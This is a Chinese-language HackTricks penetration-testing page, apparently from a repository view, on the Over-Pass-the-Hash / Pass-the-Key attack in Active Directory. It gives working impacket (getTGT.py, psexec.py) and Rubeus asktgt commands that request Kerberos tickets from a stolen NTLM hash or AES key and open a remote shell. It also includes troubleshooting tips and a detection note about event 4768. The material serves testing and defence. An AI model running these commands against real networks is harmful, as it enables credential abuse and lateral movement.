hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
2023-08-03 19:12:22 +00:00

5 KiB
Raw Blame History

通过哈希/传递密钥

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

通过哈希/传递密钥PTK

这种攻击旨在使用用户的NTLM哈希或AES密钥请求Kerberos票据作为常见的通过NTLM协议传递哈希的替代方法。因此在禁用NTLM协议并只允许Kerberos作为认证协议的网络中这可能特别有用。

为了执行此攻击需要目标用户帐户的NTLM哈希或密码。因此一旦获得用户哈希就可以为该帐户请求TGT。最后可以访问任何具有用户帐户权限的服务或计算机。

python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass

您可以使用**-aesKey [AES密钥]来指定使用AES256**。
您还可以将票据与其他工具一起使用如smbexec.py或wmiexec.py

可能出现的问题:

  • PyAsn1Error'NamedTypes can cast only scalar values'通过将impacket更新到最新版本来解决。
  • KDC无法找到名称通过使用主机名而不是IP地址来解决因为Kerberos KDC无法识别IP地址。
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

这种攻击类似于Pass the Key,但不是使用哈希值来请求票据,而是窃取票据本身并用其作为所有者进行身份验证。

{% hint style="warning" %} 当请求TGT时会生成事件4768请求了一个Kerberos身份验证票据TGT。从上面的输出中可以看到KeyType为RC4-HMAC0x17但Windows的默认类型现在是AES2560x12。 {% endhint %}

.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥